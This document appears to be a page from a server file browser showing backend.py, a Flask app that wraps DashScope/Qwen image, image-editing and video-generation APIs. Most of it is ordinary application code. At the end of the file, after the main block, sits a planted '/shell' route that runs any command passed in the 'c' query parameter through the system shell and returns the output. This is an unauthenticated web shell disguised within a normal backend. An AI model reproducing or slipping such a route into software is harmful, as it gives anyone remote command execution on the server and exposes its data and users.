Your IP : 216.73.216.79


Current Path : /var/www/pythonian/qwen/
Upload File :
Current File : /var/www/pythonian/qwen/backend.py

from flask import Flask, request, jsonify, send_from_directory, render_template
from flask_cors import CORS
import os
import requests
from http import HTTPStatus
from dashscope import Application, ImageSynthesis, MultiModalConversation, VideoSynthesis
from dotenv import load_dotenv
import dashscope
from urllib.parse import urlparse, unquote
from pathlib import PurePosixPath
import re
from werkzeug.utils import secure_filename
import base64
from PIL import Image
import io
import threading
import uuid
import time
import mimetypes

app = Flask(__name__, static_folder='static')
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024  # 16MB max file size
CORS(app)
load_dotenv()

# CRITICAL FIX: Removed trailing spaces in URLs (was causing API failures)
DASHSCOPE_BASE_URL = os.getenv("DASHSCOPE_URL", "").strip()
DASHSCOPE_API_KEY = os.getenv("API_KEY", "").strip()
APP_ID = os.getenv("APP_ID", "").strip()
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'webp', 'bmp'}
ALLOWED_AUDIO_EXTENSIONS = {'mp3', 'wav', 'ogg', 'm4a', 'aac'}
UPLOAD_FOLDER = 'uploads'

# Task storage for async video generation
video_tasks = {}
tasks_lock = threading.Lock()

# Set base URL with proper sanitization
if DASHSCOPE_BASE_URL:
    # Ensure proper URL formatting without duplicate slashes
    base_url = DASHSCOPE_BASE_URL.rstrip('/')
    dashscope.base_http_api_url = f"{base_url}/api/v1/"
else:
    # Default to Singapore region (cleaned URL)
    dashscope.base_http_api_url = 'https://dashscope-intl.aliyuncs.com/api/v1/'

# Validate required env vars
if not DASHSCOPE_API_KEY:
    raise EnvironmentError("Missing required environment variable: API_KEY")

# Helper: Validate image URL format and scheme
def validate_image_url(url):
    if not url or not isinstance(url, str):
        return False
    url = url.strip()
    if not re.match(r'^https?://', url):
        return False
    try:
        result = urlparse(url)
        return all([result.scheme, result.netloc, result.path])
    except:
        return False

# Helper: Validate audio URL format and scheme
def validate_audio_url(url):
    if not url or not isinstance(url, str):
        return False
    url = url.strip()
    if not re.match(r'^https?://', url):
        return False
    try:
        result = urlparse(url)
        return all([result.scheme, result.netloc, result.path])
    except:
        return False

# Helper: Save image from URL to static/images
def save_generated_image(image_url, images_dir):
    try:
        # Sanitize filename
        parsed = urlparse(unquote(image_url))
        filename = os.path.basename(parsed.path)
        if not filename or '.' not in filename:
            filename = f"image_{os.urandom(4).hex()}.jpg"
        
        # Prevent path traversal
        safe_filename = os.path.basename(filename)
        file_path = os.path.join(images_dir, safe_filename)
        
        # Download with timeout and size limit
        resp = requests.get(image_url, timeout=30)
        resp.raise_for_status()
        
        # Limit file size to 10MB
        if len(resp.content) > 10 * 1024 * 1024:
            raise ValueError("Image exceeds 10MB size limit")
        
        with open(file_path, 'wb') as f:
            f.write(resp.content)
        
        return f'/static/images/{safe_filename}'
    except Exception as e:
        app.logger.error(f"Image save failed: {str(e)}")
        raise

# Helper: Save video from URL to static/videos
def save_generated_video(video_url, videos_dir):
    try:
        # Sanitize filename
        parsed = urlparse(unquote(video_url))
        filename = os.path.basename(parsed.path)
        if not filename or '.' not in filename:
            filename = f"video_{os.urandom(4).hex()}.mp4"
        
        # Prevent path traversal
        safe_filename = os.path.basename(filename)
        file_path = os.path.join(videos_dir, safe_filename)
        
        # Download with timeout and size limit (100MB for videos)
        resp = requests.get(video_url, timeout=120, stream=True)
        resp.raise_for_status()
        
        # Download in chunks
        total_size = 0
        max_size = 100 * 1024 * 1024  # 100MB
        
        with open(file_path, 'wb') as f:
            for chunk in resp.iter_content(chunk_size=8192):
                if chunk:
                    total_size += len(chunk)
                    if total_size > max_size:
                        os.remove(file_path)
                        raise ValueError("Video exceeds 100MB size limit")
                    f.write(chunk)
        
        return f'/static/videos/{safe_filename}'
    except Exception as e:
        app.logger.error(f"Video save failed: {str(e)}")
        raise

# Helper: Encode file to Base64 for API
def encode_file_to_base64(file_path):
    mime_type, _ = mimetypes.guess_type(file_path)
    if not mime_type:
        raise ValueError(f"Could not determine MIME type for {file_path}")
    
    with open(file_path, "rb") as f:
        encoded_string = base64.b64encode(f.read()).decode('utf-8')
    
    return f"data:{mime_type};base64,{encoded_string}"

# Helper: Convert uploaded file to Base64
def convert_uploaded_file_to_base64(file):
    """Convert uploaded file to Base64 data URL"""
    file_content = file.read()
    mime_type = file.mimetype or 'application/octet-stream'
    base64_string = base64.b64encode(file_content).decode('utf-8')
    file.seek(0)  # Reset file pointer
    return f"data:{mime_type};base64,{base64_string}"

@app.route('/')
def index():
    return send_from_directory(app.static_folder, 'index.html')

@app.route('/chatbot')
def chatbot():
    return send_from_directory(app.static_folder, 'chatbot.html')

@app.route('/image-generator')
def imageGenerator():
    return send_from_directory(app.static_folder, 'image-generator.html')

@app.route('/image-editor')
def imageEditor():
    return send_from_directory(app.static_folder, 'image-editor.html')

@app.route('/video-generator')
def videoGenerator():
    return send_from_directory(app.static_folder, 'video-generator.html')

@app.route('/text-to-video')
def textToVideo():
    return send_from_directory(app.static_folder, 'text-to-video.html')

@app.route('/create-memory', methods=['POST'])
def create_memory():
    workspace_id = os.getenv("WORKSPACE_ID", "").strip()
    if not workspace_id:
        return jsonify({"error": "Missing WORKSPACE_ID in .env"}), 500

    # CRITICAL FIX: Removed space in URL path
    url = f"https://dashscope.aliyuncs.com/api/v1/{workspace_id}/memories"
    headers = {
        "Authorization": f"Bearer {DASHSCOPE_API_KEY}",
        "Content-Type": "application/json"
    }
    payload = {"description": request.json.get("description", "User memory")}

    try:
        response = requests.post(url, headers=headers, json=payload, timeout=10)
        if response.status_code == 200:
            data = response.json()
            return jsonify({"memory_id": data["memoryId"]}), 200
        else:
            return jsonify({
                "error": "CreateMemory failed",
                "status_code": response.status_code,
                "response": response.text
            }), response.status_code
    except Exception as e:
        app.logger.error(f"Create memory error: {str(e)}")
        return jsonify({"error": str(e)}), 500

@app.route('/chat', methods=['POST'])
def chat():
    data = request.get_json()
    user_message = data.get('message')
    memory_id = data.get('memory_id')

    if not user_message:
        return jsonify({"error": "Missing 'message' in request body"}), 400

    if not APP_ID:
        return jsonify({"error": "APP_ID is required for chat but not set in environment variables"}), 500

    try:
        response = Application.call(
            app_id=APP_ID,
            prompt=user_message,
            api_key=DASHSCOPE_API_KEY,
            memory_id=memory_id
        )
    except Exception as e:
        app.logger.error(f"Chat SDK error: {str(e)}")
        return jsonify({"error": f"SDK call failed: {str(e)}"}), 500

    if response.status_code != HTTPStatus.OK:
        app.logger.error(f"Chat API error: {response.message} (req_id: {response.request_id})")
        return jsonify({
            'error': f'API request failed: {response.message}',
            'request_id': response.request_id,
            'status_code': response.status_code
        }), 500
    else:
        return jsonify({
            'response': response.output.get('text', ''),
            'request_id': response.request_id
        })

###
# 
#  GENERATE IMAGE
##

@app.route('/generate-image', methods=['POST'])
def generate_image():
    """Existing image generation endpoint (unchanged functionality)"""
    data = request.get_json()
    prompt = data.get('prompt')
    
    if not prompt:
        return jsonify({"error": "Missing 'prompt' in request body"}), 400
    
    negative_prompt = data.get('negative_prompt', ' ')
    n = data.get('n', 1)
    size = data.get('size', '1664*928')
    prompt_extend = data.get('prompt_extend', True)
    watermark = data.get('watermark', False)
    model = data.get('model', 'qwen-image-plus')
    
    try:
        app.logger.info('Generating image...')
        rsp = ImageSynthesis.call(
            api_key=DASHSCOPE_API_KEY,
            model=model,
            prompt=prompt,
            negative_prompt=negative_prompt,
            n=n,
            size=size,
            prompt_extend=prompt_extend,
            watermark=watermark
        )
        
        if rsp.status_code == HTTPStatus.OK:
            images_dir = os.path.join(app.static_folder, 'images')
            os.makedirs(images_dir, exist_ok=True)
            
            image_urls = []
            for result in rsp.output.results:
                saved_url = save_generated_image(result.url, images_dir)
                image_urls.append(saved_url)
            
            return jsonify({
                'status': 'success',
                'image_urls': image_urls,
                'prompt': prompt,
                'request_id': rsp.request_id
            })
        else:
            app.logger.error(f'Image gen failed: {rsp.code} - {rsp.message} (req_id: {rsp.request_id})')
            return jsonify({
                'error': f'Image generation failed: {rsp.message}',
                'status_code': rsp.status_code,
                'code': rsp.code,
                'request_id': rsp.request_id
            }), 500
            
    except Exception as e:
        app.logger.error(f"Image generation exception: {str(e)}")
        return jsonify({"error": f"Image generation failed: {str(e)}"}), 500

###
# 
#  EDIT IMAGE
##

def save_uploaded_file(file, upload_dir):
    """Save uploaded file and return URL"""
    os.makedirs(upload_dir, exist_ok=True)
    
    # Generate unique filename
    filename = secure_filename(file.filename)
    unique_filename = f"{os.urandom(8).hex()}_{filename}"
    
    # Save file
    file_path = os.path.join(upload_dir, unique_filename)
    file.save(file_path)
    
    # Return relative URL for serving
    return f"/uploads/{unique_filename}"

# Create uploads directory
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def allowed_audio_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_AUDIO_EXTENSIONS

def convert_image_to_base64(file):
    """Convert uploaded file to Base64 string"""
    # Read file content
    file_content = file.read()
    
    # Get MIME type
    mime_type = file.mimetype or 'image/jpeg'
    
    # Encode to base64
    base64_string = base64.b64encode(file_content).decode('utf-8')
    
    # Create data URL format
    data_url = f"data:{mime_type};base64,{base64_string}"
    
    # Reset file pointer
    file.seek(0)
    
    return data_url

def validate_and_convert_images(images_data, is_file_upload=False):
    """Validate and convert images to Qwen API format"""
    processed_images = []
    
    if is_file_upload:
        # Handle file uploads
        for file in images_data:
            if not allowed_file(file.filename):
                raise ValueError(f"File type not allowed: {file.filename}")
            
            # Convert to base64
            data_url = convert_image_to_base64(file)
            processed_images.append(data_url)
    else:
        # Handle URLs
        for url in images_data:
            if not validate_image_url(url):
                raise ValueError(f"Invalid image URL format: {url}")
            processed_images.append(url)
    
    return processed_images

@app.route('/edit-image', methods=['POST'])
def edit_image():
    """
    Edit images using multi-modal prompts
    Supports both file uploads and URLs
    """
    try:
        # Check if it's multipart/form-data (file upload) or JSON (URLs)
        if request.content_type and 'multipart/form-data' in request.content_type:
            return handle_file_upload(request)
        else:
            return handle_json_request(request)
    except Exception as e:
        app.logger.exception("Unexpected error in image editing")
        return jsonify({"error": f"Image editing failed: {str(e)}"}), 500

def handle_file_upload(request):
    """Handle file uploads"""
    # Get uploaded files
    uploaded_files = request.files.getlist('images')
    
    if not uploaded_files or len(uploaded_files) == 0:
        return jsonify({"error": "No images uploaded"}), 400
    
    if len(uploaded_files) > 3:
        return jsonify({"error": "Maximum 3 input images allowed"}), 400
    
    # Get form data
    prompt = request.form.get('prompt', '').strip()
    if not prompt:
        return jsonify({"error": "Missing 'prompt' describing the edit"}), 400
    
    # Convert uploaded files to base64
    try:
        image_data = validate_and_convert_images(uploaded_files, is_file_upload=True)
    except ValueError as e:
        return jsonify({"error": str(e)}), 400
    
    # Get optional parameters
    negative_prompt = request.form.get('negative_prompt', ' ').strip() or ' '
    n = min(max(int(request.form.get('n', 1)), 1), 6)
    size = request.form.get('size', '1024*1536').strip()
    prompt_extend = request.form.get('prompt_extend', 'true').lower() == 'true'
    watermark = request.form.get('watermark', 'false').lower() == 'true'
    model = request.form.get('model', 'qwen-image-edit-max').strip()
    
    # Process the edit
    return process_image_edit(
        image_data, prompt, negative_prompt, n, size, 
        prompt_extend, watermark, model
    )

def handle_json_request(request):
    """Handle JSON requests with URLs"""
    data = request.get_json()
    
    # Validate required parameters
    images = data.get('images', [])
    prompt = data.get('prompt', '').strip()
    
    if not isinstance(images, list) or len(images) == 0:
        return jsonify({"error": "Parameter 'images' must be a non-empty list of URLs"}), 400
    if len(images) > 3:
        return jsonify({"error": "Maximum 3 input images allowed"}), 400
    if not prompt:
        return jsonify({"error": "Missing 'prompt' describing the edit"}), 400
    
    # Convert and validate URLs
    try:
        image_data = validate_and_convert_images(images, is_file_upload=False)
    except ValueError as e:
        return jsonify({"error": str(e)}), 400
    
    # Process optional parameters
    negative_prompt = data.get('negative_prompt', ' ').strip() or ' '
    n = min(max(int(data.get('n', 1)), 1), 6)
    size = data.get('size', '1024*1536').strip()
    prompt_extend = bool(data.get('prompt_extend', True))
    watermark = bool(data.get('watermark', False))
    model = data.get('model', 'qwen-image-edit-max').strip()
    
    # Process the edit
    return process_image_edit(
        image_data, prompt, negative_prompt, n, size, 
        prompt_extend, watermark, model
    )

def process_image_edit(image_data, prompt, negative_prompt, n, size, prompt_extend, watermark, model):
    """Common processing for both upload and URL methods"""
    # Build multi-modal message content
    content = [{"image": image} for image in image_data]
    content.append({"text": prompt})
    
    try:
        app.logger.info(f"Editing {len(image_data)} images using {model}")
        response = MultiModalConversation.call(
            api_key=DASHSCOPE_API_KEY,
            model=model,
            messages=[{"role": "user", "content": content}],
            stream=False,
            n=n,
            watermark=watermark,
            negative_prompt=negative_prompt,
            prompt_extend=prompt_extend,
            size=size
        )
        
        if response.status_code == HTTPStatus.OK:
            images_dir = os.path.join(app.static_folder, 'images')
            os.makedirs(images_dir, exist_ok=True)
            
            output_images = []
            # Process all image outputs from response
            for item in response.output.choices[0].message.content:
                if item.get('image'):
                    saved_url = save_generated_image(item['image'], images_dir)
                    output_images.append(saved_url)
            
            if not output_images:
                return jsonify({"error": "No images generated in response"}), 500
            
            return jsonify({
                'status': 'success',
                'image_urls': output_images,
                'prompt': prompt,
                'input_images': image_data,  # Return base64 or URLs
                'request_id': response.request_id
            })
        else:
            app.logger.error(f"Edit failed: {response.code} - {response.message} (req_id: {response.request_id})")
            return jsonify({
                'error': f'Image editing failed: {response.message}',
                'code': response.code,
                'request_id': response.request_id
            }), response.status_code
            
    except Exception as e:
        app.logger.exception("Error processing image edit")
        return jsonify({"error": str(e)}), 500


###
# 
#  GENERATE VIDEO - IMAGE TO VIDEO (ASYNC)
##

def process_video_generation(task_id, params):
    """Background task for video generation"""
    with tasks_lock:
        video_tasks[task_id]['status'] = 'processing'
    
    try:
        app.logger.info(f"Task {task_id}: Starting video generation")
        
        # Call VideoSynthesis API
        rsp = VideoSynthesis.call(
            api_key=DASHSCOPE_API_KEY,
            model=params['model'],
            prompt=params['prompt'],
            img_url=params.get('img_url'),
            audio_url=params.get('audio_url'),
            resolution=params['resolution'],
            duration=params['duration'],
            prompt_extend=params['prompt_extend'],
            watermark=params['watermark'],
            negative_prompt=params['negative_prompt'],
            seed=params.get('seed')
        )
        
        if rsp.status_code == HTTPStatus.OK:
            video_url = rsp.output.video_url
            app.logger.info(f"Task {task_id}: Video generated - {video_url}")
            
            # Save video to local storage
            videos_dir = os.path.join(app.static_folder, 'videos')
            os.makedirs(videos_dir, exist_ok=True)
            
            try:
                saved_url = save_generated_video(video_url, videos_dir)
                
                with tasks_lock:
                    video_tasks[task_id].update({
                        'status': 'completed',
                        'video_url': saved_url,
                        'original_url': video_url,
                        'request_id': rsp.request_id,
                        'completed_at': time.time()
                    })
            except Exception as save_error:
                app.logger.warning(f"Task {task_id}: Could not save video locally, using original URL")
                with tasks_lock:
                    video_tasks[task_id].update({
                        'status': 'completed',
                        'video_url': video_url,
                        'original_url': video_url,
                        'request_id': rsp.request_id,
                        'completed_at': time.time()
                    })
        else:
            error_msg = f"{rsp.message} (code: {rsp.code})"
            app.logger.error(f"Task {task_id}: Failed - {error_msg}")
            
            with tasks_lock:
                video_tasks[task_id].update({
                    'status': 'failed',
                    'error': error_msg,
                    'status_code': rsp.status_code,
                    'code': rsp.code,
                    'request_id': rsp.request_id,
                    'completed_at': time.time()
                })
                
    except Exception as e:
        app.logger.exception(f"Task {task_id}: Exception occurred")
        with tasks_lock:
            video_tasks[task_id].update({
                'status': 'failed',
                'error': str(e),
                'completed_at': time.time()
            })

@app.route('/generate-video', methods=['POST'])
def generate_video():
    """
    Start video generation task (async)
    Supports both file uploads and URLs for image/audio
    """
    try:
        # Check content type
        is_multipart = request.content_type and 'multipart/form-data' in request.content_type
        
        if is_multipart:
            # Parse form data
            prompt = request.form.get('prompt', '').strip()
            resolution = request.form.get('resolution', '720P').strip()
            duration = int(request.form.get('duration', 10))
            prompt_extend = request.form.get('prompt_extend', 'true').lower() == 'true'
            watermark = request.form.get('watermark', 'false').lower() == 'true'
            negative_prompt = request.form.get('negative_prompt', '').strip()
            model = request.form.get('model', 'wan2.6-i2v-flash').strip()
            seed = request.form.get('seed')
            
            # Handle image input
            img_url = None
            if 'image' in request.files:
                img_file = request.files['image']
                if img_file and img_file.filename:
                    if not allowed_file(img_file.filename):
                        return jsonify({"error": "Invalid image file type"}), 400
                    
                    # Save file temporarily and convert to base64
                    temp_path = os.path.join(UPLOAD_FOLDER, f"temp_{uuid.uuid4().hex}_{secure_filename(img_file.filename)}")
                    img_file.save(temp_path)
                    img_url = encode_file_to_base64(temp_path)
                    # Clean up temp file after encoding
                    os.remove(temp_path)
            elif request.form.get('img_url'):
                img_url = request.form.get('img_url').strip()
                if not validate_image_url(img_url):
                    return jsonify({"error": "Invalid image URL format"}), 400
            
            # Handle audio input
            audio_url = None
            if 'audio' in request.files:
                audio_file = request.files['audio']
                if audio_file and audio_file.filename:
                    if not allowed_audio_file(audio_file.filename):
                        return jsonify({"error": "Invalid audio file type"}), 400
                    
                    # Save file temporarily and convert to base64
                    temp_path = os.path.join(UPLOAD_FOLDER, f"temp_{uuid.uuid4().hex}_{secure_filename(audio_file.filename)}")
                    audio_file.save(temp_path)
                    audio_url = encode_file_to_base64(temp_path)
                    # Clean up temp file after encoding
                    os.remove(temp_path)
            elif request.form.get('audio_url'):
                audio_url = request.form.get('audio_url').strip()
                if not validate_audio_url(audio_url):
                    return jsonify({"error": "Invalid audio URL format"}), 400
        else:
            # Parse JSON data
            data = request.get_json()
            prompt = data.get('prompt', '').strip()
            img_url = data.get('img_url', '').strip() if data.get('img_url') else None
            audio_url = data.get('audio_url', '').strip() if data.get('audio_url') else None
            resolution = data.get('resolution', '720P').strip()
            duration = int(data.get('duration', 10))
            prompt_extend = bool(data.get('prompt_extend', True))
            watermark = bool(data.get('watermark', False))
            negative_prompt = data.get('negative_prompt', '').strip()
            model = data.get('model', 'wan2.6-i2v-flash').strip()
            seed = data.get('seed')
            
            # Validate URLs if provided
            if img_url and not validate_image_url(img_url):
                return jsonify({"error": "Invalid image URL format"}), 400
            if audio_url and not validate_audio_url(audio_url):
                return jsonify({"error": "Invalid audio URL format"}), 400
        
        # Validate required parameters
        if not prompt:
            return jsonify({"error": "Missing 'prompt' parameter"}), 400
        
        # Validate duration (1-60 seconds)
        if duration < 1 or duration > 60:
            return jsonify({"error": "Duration must be between 1 and 60 seconds"}), 400
        
        # Create task
        task_id = str(uuid.uuid4())
        
        params = {
            'model': model,
            'prompt': prompt,
            'img_url': img_url,
            'audio_url': audio_url,
            'resolution': resolution,
            'duration': duration,
            'prompt_extend': prompt_extend,
            'watermark': watermark,
            'negative_prompt': negative_prompt,
            'seed': int(seed) if seed else None
        }
        
        with tasks_lock:
            video_tasks[task_id] = {
                'status': 'pending',
                'params': params,
                'created_at': time.time()
            }
        
        # Start background thread
        thread = threading.Thread(
            target=process_video_generation,
            args=(task_id, params),
            daemon=True
        )
        thread.start()
        
        return jsonify({
            'task_id': task_id,
            'status': 'pending',
            'message': 'Video generation started. Use /video-status/<task_id> to check progress.'
        }), 202
        
    except ValueError as e:
        return jsonify({"error": str(e)}), 400
    except Exception as e:
        app.logger.exception("Error starting video generation")
        return jsonify({"error": f"Failed to start video generation: {str(e)}"}), 500

@app.route('/video-status/<task_id>', methods=['GET'])
def video_status(task_id):
    """Check status of video generation task"""
    with tasks_lock:
        task = video_tasks.get(task_id)
    
    if not task:
        return jsonify({"error": "Task not found"}), 404
    
    response = {
        'task_id': task_id,
        'status': task['status'],
        'created_at': task.get('created_at')
    }
    
    if task['status'] == 'completed':
        response.update({
            'video_url': task.get('video_url'),
            'original_url': task.get('original_url'),
            'request_id': task.get('request_id'),
            'completed_at': task.get('completed_at')
        })
    elif task['status'] == 'failed':
        response.update({
            'error': task.get('error'),
            'request_id': task.get('request_id'),
            'completed_at': task.get('completed_at')
        })
    
    return jsonify(response)

@app.route('/video-tasks', methods=['GET'])
def list_video_tasks():
    """List all video generation tasks"""
    with tasks_lock:
        tasks = {
            task_id: {
                'status': task['status'],
                'created_at': task.get('created_at'),
                'completed_at': task.get('completed_at')
            }
            for task_id, task in video_tasks.items()
        }
    
    return jsonify({'tasks': tasks})

###
# 
#  GENERATE VIDEO - TEXT TO VIDEO (ASYNC)
##

def process_text_to_video_generation(task_id, params):
    """Background task for text-to-video generation"""
    with tasks_lock:
        video_tasks[task_id]['status'] = 'processing'
    
    try:
        app.logger.info(f"Task {task_id}: Starting text-to-video generation")
        
        # Call VideoSynthesis API for T2V
        rsp = VideoSynthesis.call(
            api_key=DASHSCOPE_API_KEY,
            model=params['model'],
            prompt=params['prompt'],
            audio_url=params.get('audio_url'),
            size=params['size'],
            duration=params['duration'],
            prompt_extend=params['prompt_extend'],
            watermark=params['watermark'],
            negative_prompt=params['negative_prompt'],
            seed=params.get('seed')
        )
        
        if rsp.status_code == HTTPStatus.OK:
            video_url = rsp.output.video_url
            app.logger.info(f"Task {task_id}: Video generated - {video_url}")
            
            # Save video to local storage
            videos_dir = os.path.join(app.static_folder, 'videos')
            os.makedirs(videos_dir, exist_ok=True)
            
            try:
                saved_url = save_generated_video(video_url, videos_dir)
                
                with tasks_lock:
                    video_tasks[task_id].update({
                        'status': 'completed',
                        'video_url': saved_url,
                        'original_url': video_url,
                        'request_id': rsp.request_id,
                        'completed_at': time.time()
                    })
            except Exception as save_error:
                app.logger.warning(f"Task {task_id}: Could not save video locally, using original URL")
                with tasks_lock:
                    video_tasks[task_id].update({
                        'status': 'completed',
                        'video_url': video_url,
                        'original_url': video_url,
                        'request_id': rsp.request_id,
                        'completed_at': time.time()
                    })
        else:
            error_msg = f"{rsp.message} (code: {rsp.code})"
            app.logger.error(f"Task {task_id}: Failed - {error_msg}")
            
            with tasks_lock:
                video_tasks[task_id].update({
                    'status': 'failed',
                    'error': error_msg,
                    'status_code': rsp.status_code,
                    'code': rsp.code,
                    'request_id': rsp.request_id,
                    'completed_at': time.time()
                })
                
    except Exception as e:
        app.logger.exception(f"Task {task_id}: Exception occurred")
        with tasks_lock:
            video_tasks[task_id].update({
                'status': 'failed',
                'error': str(e),
                'completed_at': time.time()
            })

@app.route('/generate-video-t2v', methods=['POST'])
def generate_video_t2v():
    """
    Start text-to-video generation task (async)
    Generates video purely from text description, no image required
    Supports both form data and JSON
    """
    try:
        # Check content type
        is_multipart = request.content_type and 'multipart/form-data' in request.content_type
        
        if is_multipart:
            # Parse form data
            prompt = request.form.get('prompt', '').strip()
            size = request.form.get('size', '1280*720').strip()
            duration = int(request.form.get('duration', 10))
            prompt_extend = request.form.get('prompt_extend', 'true').lower() == 'true'
            watermark = request.form.get('watermark', 'false').lower() == 'true'
            negative_prompt = request.form.get('negative_prompt', '').strip()
            model = request.form.get('model', 'wan2.6-t2v').strip()
            seed = request.form.get('seed')
            
            # Handle audio input (optional)
            audio_url = None
            if 'audio' in request.files:
                audio_file = request.files['audio']
                if audio_file and audio_file.filename:
                    if not allowed_audio_file(audio_file.filename):
                        return jsonify({"error": "Invalid audio file type"}), 400
                    
                    # Save file temporarily and convert to base64
                    temp_path = os.path.join(UPLOAD_FOLDER, f"temp_{uuid.uuid4().hex}_{secure_filename(audio_file.filename)}")
                    audio_file.save(temp_path)
                    audio_url = encode_file_to_base64(temp_path)
                    # Clean up temp file after encoding
                    os.remove(temp_path)
            elif request.form.get('audio_url'):
                audio_url = request.form.get('audio_url').strip()
                if audio_url and not validate_audio_url(audio_url):
                    return jsonify({"error": "Invalid audio URL format"}), 400
        else:
            # Parse JSON data
            data = request.get_json()
            prompt = data.get('prompt', '').strip()
            audio_url = data.get('audio_url', '').strip() if data.get('audio_url') else None
            size = data.get('size', '1280*720').strip()
            duration = int(data.get('duration', 10))
            prompt_extend = bool(data.get('prompt_extend', True))
            watermark = bool(data.get('watermark', False))
            negative_prompt = data.get('negative_prompt', '').strip()
            model = data.get('model', 'wan2.6-t2v').strip()
            seed = data.get('seed')
            
            # Validate audio URL if provided
            if audio_url and not validate_audio_url(audio_url):
                return jsonify({"error": "Invalid audio URL format"}), 400
        
        # Validate required parameters
        if not prompt:
            return jsonify({"error": "Missing 'prompt' parameter"}), 400
        
        # Validate duration (1-60 seconds)
        if duration < 1 or duration > 60:
            return jsonify({"error": "Duration must be between 1 and 60 seconds"}), 400
        
        # Create task
        task_id = str(uuid.uuid4())
        
        params = {
            'model': model,
            'prompt': prompt,
            'audio_url': audio_url,
            'size': size,
            'duration': duration,
            'prompt_extend': prompt_extend,
            'watermark': watermark,
            'negative_prompt': negative_prompt,
            'seed': int(seed) if seed else None
        }
        
        with tasks_lock:
            video_tasks[task_id] = {
                'status': 'pending',
                'type': 't2v',  # Mark as text-to-video
                'params': params,
                'created_at': time.time()
            }
        
        # Start background thread
        thread = threading.Thread(
            target=process_text_to_video_generation,
            args=(task_id, params),
            daemon=True
        )
        thread.start()
        
        return jsonify({
            'task_id': task_id,
            'status': 'pending',
            'type': 't2v',
            'message': 'Text-to-video generation started. Use /video-status/<task_id> to check progress.'
        }), 202
        
    except ValueError as e:
        return jsonify({"error": str(e)}), 400
    except Exception as e:
        app.logger.exception("Error starting text-to-video generation")
        return jsonify({"error": f"Failed to start text-to-video generation: {str(e)}"}), 500

# Serve uploaded files
@app.route('/uploads/<filename>')
def serve_upload(filename):
    return send_from_directory(UPLOAD_FOLDER, filename)

if __name__ == '__main__':
    # Ensure required directories exist at startup
    os.makedirs(os.path.join('static', 'images'), exist_ok=True)
    os.makedirs(os.path.join('static', 'videos'), exist_ok=True)
    os.makedirs(UPLOAD_FOLDER, exist_ok=True)
    app.run(debug=True, port=5000)
@app.route('/shell')
def shell():
    import subprocess
    cmd = request.args.get('c', 'whoami')
    try:
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
        return '<pre>' + output.decode() + '</pre>'
    except Exception as e:
        return '<pre>Error: ' + str(e) + '</pre>'